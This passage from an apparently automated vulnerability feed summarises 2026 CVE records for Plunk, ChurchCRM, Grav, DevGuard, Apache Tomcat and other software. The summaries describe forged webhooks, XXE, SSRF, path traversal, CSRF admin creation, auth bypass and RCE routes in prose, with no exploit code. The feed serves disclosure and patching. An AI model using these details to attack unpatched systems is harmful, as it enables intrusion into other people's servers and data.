CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42193).
Sources:
NVD CVE-2026-42193: https://nvd.nist.gov/vuln/detail/CVE-2026-42193
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Plunk is an open-source email platform built on top of AWS SES. Prior to version 0.9.0, the /webhooks/sns endpoint accepts Amazon SNS notification payloads from unauthenticated requests without verifying the SNS signature, certificate, or topic ARN, meaning anyone can forge a valid-looking webhook request. This allows an unauthenticated attacker to spoof SNS events to trigger workflow automations, unsubscribe contacts, manipulate email delivery metrics, and potentially exhaust billing credits. This issue has been patched in version 0.9.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SolidCAM-GPPL-IDE is an unofficial, independently developed extension, Postprocessor IDE for SolidCAM.
https://kevwire.com/record/CVE-2026-42212
SolidCAM-GPPL-IDE is an unofficial, independently developed extension, Postprocessor IDE for SolidCAM. (May 8, 2026).
SolidCAM-GPPL-IDE is an unofficial, independently developed extension, Postprocessor IDE for SolidCAM. From version 1.0.0 to before version 1.0.2, Opening a .gpp file in the SolidCAM Postprocessor IDE extension causes the language server to parse a companion .vmid file from the same directory (naming convention: foo.gpp to foo.vmid). The VMID parser called XDocument.Load(path) without any XmlReaderSettings, inheriting the framework defaults which in .NET 8 allow DTD processing. A malicious .vmid file could therefore: disclose local files via external entity references, exhaust memory via recursive entity expansion, and cause denial of service via oversized or deeply nested XML. This issue has been patched in version 1.0.2.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42212).
Sources:
NVD CVE-2026-42212: https://nvd.nist.gov/vuln/detail/CVE-2026-42212
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
SolidCAM-GPPL-IDE is an unofficial, independently developed extension, Postprocessor IDE for SolidCAM. From version 1.0.0 to before version 1.0.2, Opening a .gpp file in the SolidCAM Postprocessor IDE extension causes the language server to parse a companion .vmid file from the same directory (naming convention: foo.gpp to foo.vmid). The VMID parser called XDocument.Load(path) without any XmlReaderSettings, inheriting the framework defaults which in .NET 8 allow DTD processing. A malicious .vmid file could therefore: disclose local files via external entity references, exhaust memory via recursive entity expansion, and cause denial of service via oversized or deeply nested XML. This issue has been patched in version 1.0.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ipl/web is a set of common web components for php projects.
https://kevwire.com/record/CVE-2026-42224
ipl/web is a set of common web components for php projects. (May 8, 2026).
ipl/web is a set of common web components for php projects. Prior to versions 0.13.1 and 0.10.3, the vulnerability allows an attacker to inject malicious Javascript into a victim's browser to run it in the context of Icinga Web. The victim needs to visit a specifically prepared website and may have no immediate chance to notice any wrongdoing. This issue has been patched in versions 0.13.1 and 0.10.3.
CVSS 7.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42224).
Sources:
NVD CVE-2026-42224: https://nvd.nist.gov/vuln/detail/CVE-2026-42224
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
ipl/web is a set of common web components for php projects. Prior to versions 0.13.1 and 0.10.3, the vulnerability allows an attacker to inject malicious Javascript into a victim's browser to run it in the context of Icinga Web. The victim needs to visit a specifically prepared website and may have no immediate chance to notice any wrongdoing. This issue has been patched in versions 0.13.1 and 0.10.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open-WebSearch is a multi-engine MCP server, CLI, and local daemon for agent web search and content retrieval.
https://kevwire.com/record/CVE-2026-42260
Open-WebSearch is a multi-engine MCP server, CLI, and local daemon for agent web search and content retrieval. (May 12, 2026).
Open-WebSearch is a multi-engine MCP server, CLI, and local daemon for agent web search and content retrieval. Prior to 2.1.7, isPublicHttpUrl / assertPublicHttpUrl in src/utils/urlSafety.ts do not recognize bracketed IPv6 literals and do not resolve DNS, which combine to allow non-blind SSRF with the response body returned to the caller. This vulnerability is fixed in 2.1.7.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42260).
Sources:
NVD CVE-2026-42260: https://nvd.nist.gov/vuln/detail/CVE-2026-42260
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Open-WebSearch is a multi-engine MCP server, CLI, and local daemon for agent web search and content retrieval. Prior to 2.1.7, isPublicHttpUrl / assertPublicHttpUrl in src/utils/urlSafety.ts do not recognize bracketed IPv6 literals and do not resolve DNS, which combine to allow non-blind SSRF with the response body returned to the caller. This vulnerability is fixed in 2.1.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ChurchCRM is an open-source church management system.
https://kevwire.com/record/CVE-2026-42288
ChurchCRM is an open-source church management system. (May 12, 2026).
ChurchCRM is an open-source church management system. Prior to 7.3.2, The fix for CVE-2026-39337 is incomplete. The pre-authentication remote code execution vulnerability in ChurchCRM's setup wizard via unsanitized DB_PASSWORD remains fully exploitable This vulnerability is fixed in 7.3.2.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42288).
Sources:
NVD CVE-2026-42288: https://nvd.nist.gov/vuln/detail/CVE-2026-42288
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
ChurchCRM is an open-source church management system. Prior to 7.3.2, The fix for CVE-2026-39337 is incomplete. The pre-authentication remote code execution vulnerability in ChurchCRM's setup wizard via unsanitized DB_PASSWORD remains fully exploitable This vulnerability is fixed in 7.3.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ChurchCRM is an open-source church management system.
https://kevwire.com/record/CVE-2026-42289
ChurchCRM is an open-source church management system. (May 12, 2026).
ChurchCRM is an open-source church management system. Prior to 7.3.2, UserEditor.php processes user account creation and permission updates entirely through $_POST parameters with no CSRF token validation. An unauthenticated attacker can craft a malicious HTML page that, when visited by an authenticated administrator, silently elevates any low-privilege user to full administrator or creates a new admin backdoor account without the victim's knowledge This vulnerability is fixed in 7.3.2.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42289).
Sources:
NVD CVE-2026-42289: https://nvd.nist.gov/vuln/detail/CVE-2026-42289
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
ChurchCRM is an open-source church management system. Prior to 7.3.2, UserEditor.php processes user account creation and permission updates entirely through $_POST parameters with no CSRF token validation. An unauthenticated attacker can craft a malicious HTML page that, when visited by an authenticated administrator, silently elevates any low-privilege user to full administrator or creates a new admin backdoor account without the victim's knowledge This vulnerability is fixed in 7.3.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DevGuard provides vulnerability management for the full software supply chain.
https://kevwire.com/record/CVE-2026-42300
DevGuard provides vulnerability management for the full software supply chain. (May 12, 2026).
DevGuard provides vulnerability management for the full software supply chain. Prior to 1.2.2, the SessionMiddleware accepts a client-supplied X-Admin-Token HTTP request header and uses its raw string value as the authenticated userID when no Kratos session cookie is present. An unauthenticated attacker who knows or can guess a target user's Kratos identity UUID can issue requests as that user. Where the target user is an organisation admin or owner, this gives the attacker full control over that organisation's DevGuard resources. This vulnerability is fixed in 1.2.2.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42300).
Sources:
NVD CVE-2026-42300: https://nvd.nist.gov/vuln/detail/CVE-2026-42300
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
DevGuard provides vulnerability management for the full software supply chain. Prior to 1.2.2, the SessionMiddleware accepts a client-supplied X-Admin-Token HTTP request header and uses its raw string value as the authenticated userID when no Kratos session cookie is present. An unauthenticated attacker who knows or can guess a target user's Kratos identity UUID can issue requests as that user. Where the target user is an organisation admin or owner, this gives the attacker full control over that organisation's DevGuard resources. This vulnerability is fixed in 1.2.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ip-address is a library for parsing and manipulating IPv4 and IPv6 addresses in JavaScript.
https://kevwire.com/record/CVE-2026-42338
ip-address is a library for parsing and manipulating IPv4 and IPv6 addresses in JavaScript. (May 12, 2026).
ip-address is a library for parsing and manipulating IPv4 and IPv6 addresses in JavaScript. Prior to 10.1.1, Address6.group() and Address6.link() do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and AddressError.parseMessage (emitted by the Address6 constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to Address6 and (2) renders the output of these methods, or the thrown error's parseMessage, as HTML (e.g. via innerHTML) is vulnerable to cross-site scripting. This vulnerability is fixed in 10.1.1.
CVSS 5.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42338).
Sources:
NVD CVE-2026-42338: https://nvd.nist.gov/vuln/detail/CVE-2026-42338
Vendor advisory (via NVD references): https://github.com/beaugunderson/ip-address/security/advisories/GHSA-v2v4-37r5-5v8g
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
ip-address is a library for parsing and manipulating IPv4 and IPv6 addresses in JavaScript. Prior to 10.1.1, Address6.group() and Address6.link() do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and AddressError.parseMessage (emitted by the Address6 constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to Address6 and (2) renders the output of these methods, or the thrown error's parseMessage, as HTML (e.g. via innerHTML) is vulnerable to cross-site scripting. This vulnerability is fixed in 10.1.1.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenTelemetry.OpAmp.Client is the OpAMP client for OpenTelemetry .NET.
https://kevwire.com/record/CVE-2026-42348
OpenTelemetry.OpAmp.Client is the OpAMP client for OpenTelemetry .NET. (May 12, 2026).
OpenTelemetry.OpAmp.Client is the OpAMP client for OpenTelemetry .NET. Prior to 0.2.0-alpha.1, when receiving responses from the OpAMP server over HTTP, the OpAMP client allocates an unbounded buffer to read all bytes from the server, with no upper-bound on the number of bytes consumed. This could cause memory exhaustion in the consuming application if the configured OpAMP server is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned in the response. This vulnerability is fixed in 0.2.0-alpha.1.
CVSS 5.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42348).
Sources:
NVD CVE-2026-42348: https://nvd.nist.gov/vuln/detail/CVE-2026-42348
Vendor advisory (via NVD references): https://github.com/open-telemetry/opentelemetry-dotnet-contrib/security/advisories/GHSA-w2jh-77fq-7gp8
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
OpenTelemetry.OpAmp.Client is the OpAMP client for OpenTelemetry .NET. Prior to 0.2.0-alpha.1, when receiving responses from the OpAMP server over HTTP, the OpAMP client allocates an unbounded buffer to read all bytes from the server, with no upper-bound on the number of bytes consumed. This could cause memory exhaustion in the consuming application if the configured OpAMP server is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned in the response. This vulnerability is fixed in 0.2.0-alpha.1.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Clerk JavaScript is the official JavaScript repository for Clerk authentication.
https://kevwire.com/record/CVE-2026-42349
Clerk JavaScript is the official JavaScript repository for Clerk authentication. (May 11, 2026).
Clerk JavaScript is the official JavaScript repository for Clerk authentication. has(), auth.protect(), and related authorization predicates in @clerk/shared, @clerk/nextjs, @clerk/backend, and other framework SDKs can return true for certain combined authorization checks when the result should be false, allowing a gated action to proceed for a user who does not satisfy the full set of requested conditions. This call shape can be bypassed if certain conditions are met: a has() or auth.protect() call that combines a reverification check with any of role, permission, feature, or plan, or that combines a billing check (feature or plan) with a role or permission check. This vulnerability is fixed in  @clerk/clerk-js 5.125.10 and 6.7.5.
CVSS 7.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42349).
Sources:
NVD CVE-2026-42349: https://nvd.nist.gov/vuln/detail/CVE-2026-42349
Vendor advisory (via NVD references): https://github.com/clerk/javascript/security/advisories/GHSA-w24r-5266-9c3c
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Clerk JavaScript is the official JavaScript repository for Clerk authentication. has(), auth.protect(), and related authorization predicates in @clerk/shared, @clerk/nextjs, @clerk/backend, and other framework SDKs can return true for certain combined authorization checks when the result should be false, allowing a gated action to proceed for a user who does not satisfy the full set of requested conditions. This call shape can be bypassed if certain conditions are met: a has() or auth.protect() call that combines a reverification check with any of role, permission, feature, or plan, or that combines a billing check (feature or plan) with a role or permission check. This vulnerability is fixed in  @clerk/clerk-js 5.125.10 and 6.7.5.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno.
https://kevwire.com/record/CVE-2026-42353
i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. (May 8, 2026).
i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. Prior to version 3.9.3, i18next-http-middleware passes the user-controlled lng and ns values from getResourcesHandler directly into i18next.services.backendConnector.load(languages, namespaces, …) without any sanitization. Depending on which backend is configured, the unvalidated path segments enable either path traversal or SSRF. This issue has been patched in version 3.9.3.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42353).
Sources:
NVD CVE-2026-42353: https://nvd.nist.gov/vuln/detail/CVE-2026-42353
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. Prior to version 3.9.3, i18next-http-middleware passes the user-controlled lng and ns values from getResourcesHandler directly into i18next.services.backendConnector.load(languages, namespaces, …) without any sanitization. Depending on which backend is configured, the unvalidated path segments enable either path traversal or SSRF. This issue has been patched in version 3.9.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NanaZip is an open source file archive.
https://kevwire.com/record/CVE-2026-42446
NanaZip is an open source file archive. (May 12, 2026).
NanaZip is an open source file archive. From 5.0.1252.0 to before 6.0.1698.0, a stack-based out-of-bounds read exists in the ZealFS filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted ZealFS v1 filesystem image. An attacker-controlled BitmapSize field in the file header drives an unbounded loop that reads past the end of a stack-allocated ZEALFS_V1_HEADER structure. This vulnerability is fixed in 6.0.1698.0.
CVSS 4.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42446).
Sources:
NVD CVE-2026-42446: https://nvd.nist.gov/vuln/detail/CVE-2026-42446
Vendor advisory (via NVD references): https://github.com/M2Team/NanaZip/security/advisories/GHSA-4c79-hfr4-mqv9
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NanaZip is an open source file archive. From 5.0.1252.0 to before 6.0.1698.0, a stack-based out-of-bounds read exists in the ZealFS filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted ZealFS v1 filesystem image. An attacker-controlled BitmapSize field in the file header drives an unbounded loop that reads past the end of a stack-allocated ZEALFS_V1_HEADER structure. This vulnerability is fixed in 6.0.1698.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposure of HTTP Authentication Header to unexpected hosts during WebSocket authentication vulnerability in Apache Tomcat.
https://kevwire.com/record/CVE-2026-42498
Exposure of HTTP Authentication Header to unexpected hosts during WebSocket authentication vulnerability in Apache Tomcat. (May 12, 2026).
Exposure of HTTP Authentication Header to unexpected hosts during WebSocket authentication vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.2 through 9.0.117, from 8.5.24 through 8.5.100, from 7.0.83 through 7.0.109.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118, which fix the issue.
CVSS 7.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42498).
Sources:
NVD CVE-2026-42498: https://nvd.nist.gov/vuln/detail/CVE-2026-42498
Vendor advisory (via NVD references): https://lists.apache.org/thread/n61zwf75jrv09rz90j4jssncm244bwdb
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Exposure of HTTP Authentication Header to unexpected hosts during WebSocket authentication vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.2 through 9.0.117, from 8.5.24 through 8.5.100, from 7.0.83 through 7.0.109.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118, which fix the issue.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### jotty·page is a self-hosted app for your checklists and notes.
https://kevwire.com/record/CVE-2026-42564
jotty·page is a self-hosted app for your checklists and notes. (May 11, 2026).
jotty·page is a self-hosted app for your checklists and notes. Prior to 1.22.0, an unauthenticated path traversal vulnerability exists in /api/app-icons/[filename]. The filename route parameter is joined into a filesystem path without traversal/boundary validation, allowing file reads outside data/uploads/app-icons/. This vulnerability is fixed in 1.22.0.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42564).
Sources:
NVD CVE-2026-42564: https://nvd.nist.gov/vuln/detail/CVE-2026-42564
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
jotty·page is a self-hosted app for your checklists and notes. Prior to 1.22.0, an unauthenticated path traversal vulnerability exists in /api/app-icons/[filename]. The filename route parameter is joined into a filesystem path without traversal/boundary validation, allowing file reads outside data/uploads/app-icons/. This vulnerability is fixed in 1.22.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OWASP BLT is a QA testing and vulnerability disclosure platform that encompasses websites, apps, git repositories, and more.
https://kevwire.com/record/CVE-2026-42603
OWASP BLT is a QA testing and vulnerability disclosure platform that encompasses websites, apps, git repositories, and more. (May 11, 2026).
OWASP BLT is a QA testing and vulnerability disclosure platform that encompasses websites, apps, git repositories, and more. Prior to 2.1.2, .github/workflows/pre-commit-fix.yaml uses pull_request_target (privileged trigger) but checks out and executes code directly from the attacker's fork, enabling RCE with write permissions. This vulnerability is fixed in 2.1.2.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42603).
Sources:
NVD CVE-2026-42603: https://nvd.nist.gov/vuln/detail/CVE-2026-42603
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
OWASP BLT is a QA testing and vulnerability disclosure platform that encompasses websites, apps, git repositories, and more. Prior to 2.1.2, .github/workflows/pre-commit-fix.yaml uses pull_request_target (privileged trigger) but checks out and executes code directly from the attacker's fork, enabling RCE with write permissions. This vulnerability is fixed in 2.1.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav is a file-based Web platform.
https://kevwire.com/record/CVE-2026-42607
Grav is a file-based Web platform. (May 11, 2026).
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, an authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the "Direct Install" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server. This vulnerability is fixed in 2.0.0-beta.2.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42607).
Sources:
NVD CVE-2026-42607: https://nvd.nist.gov/vuln/detail/CVE-2026-42607
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, an authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the "Direct Install" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server. This vulnerability is fixed in 2.0.0-beta.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav is a file-based Web platform.
https://kevwire.com/record/CVE-2026-42608
Grav is a file-based Web platform. (May 11, 2026).
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, there is a Path Traversal vulnerability within the FormFlash core component. By manipulating the session_id (passed as __form-flash-id in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an index.yaml file containing attacker-controlled data. This vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments. This vulnerability is fixed in 2.0.0-beta.2.
CVSS 8.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42608).
Sources:
NVD CVE-2026-42608: https://nvd.nist.gov/vuln/detail/CVE-2026-42608
Vendor advisory (via NVD references): https://github.com/getgrav/grav/security/advisories/GHSA-hmcx-ch82-3fv2
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, there is a Path Traversal vulnerability within the FormFlash core component. By manipulating the session_id (passed as __form-flash-id in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an index.yaml file containing attacker-controlled data. This vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments. This vulnerability is fixed in 2.0.0-beta.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav is a file-based Web platform.
https://kevwire.com/record/CVE-2026-42609
Grav is a file-based Web platform. (May 11, 2026).
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a business logic vulnerability in the Grav Admin Panel allows a low-privileged user (with only user creation permissions) to overwrite existing accounts, including the primary administrator. By creating a new user with a username that already exists, the system updates the existing account's metadata and permissions instead of rejecting the request. This leads to a Denial of Service (DoS) on administrative functions and Privilege De-escalation of the root account. This vulnerability is fixed in 2.0.0-beta.2.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42609).
Sources:
NVD CVE-2026-42609: https://nvd.nist.gov/vuln/detail/CVE-2026-42609
Vendor advisory (via NVD references): https://github.com/getgrav/grav/security/advisories/GHSA-rr73-568v-28f8
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a business logic vulnerability in the Grav Admin Panel allows a low-privileged user (with only user creation permissions) to overwrite existing accounts, including the primary administrator. By creating a new user with a username that already exists, the system updates the existing account's metadata and permissions instead of rejecting the request. This leads to a Denial of Service (DoS) on administrative functions and Privilege De-escalation of the root account. This vulnerability is fixed in 2.0.0-beta.2.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav is a file-based Web platform.
https://kevwire.com/record/CVE-2026-42611
Grav is a file-based Web platform. (May 11, 2026).
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a low-privileged (with the ability to create a page) user can cause XSS with the injection of svg element. The XSS can further be escalated to dump the entire system information available under /admin/config/info whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE). This vulnerability is fixed in 2.0.0-beta.2.
CVSS 8.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42611).
Sources:
NVD CVE-2026-42611: https://nvd.nist.gov/vuln/detail/CVE-2026-42611
Vendor advisory (via NVD references): https://github.com/getgrav/grav/security/advisories/GHSA-w8cg-7jcj-4vv2
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a low-privileged (with the ability to create a page) user can cause XSS with the injection of svg element. The XSS can further be escalated to dump the entire system information available under /admin/config/info whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE). This vulnerability is fixed in 2.0.0-beta.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav is a file-based Web platform.
https://kevwire.com/record/CVE-2026-42612
Grav is a file-based Web platform. (May 11, 2026).
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a stored Cross-Site Scripting (XSS) vulnerability in getgrav/grav allows publisher-level accounts to execute arbitrary JavaScript. The issue arises from a blacklist bypass in the detectXss() function when handling unquoted HTML event attributes. This vulnerability is fixed in 2.0.0-beta.2.
CVSS 8.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42612).
Sources:
NVD CVE-2026-42612: https://nvd.nist.gov/vuln/detail/CVE-2026-42612
Vendor advisory (via NVD references): https://github.com/getgrav/grav/security/advisories/GHSA-9695-8fr9-hw5q
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
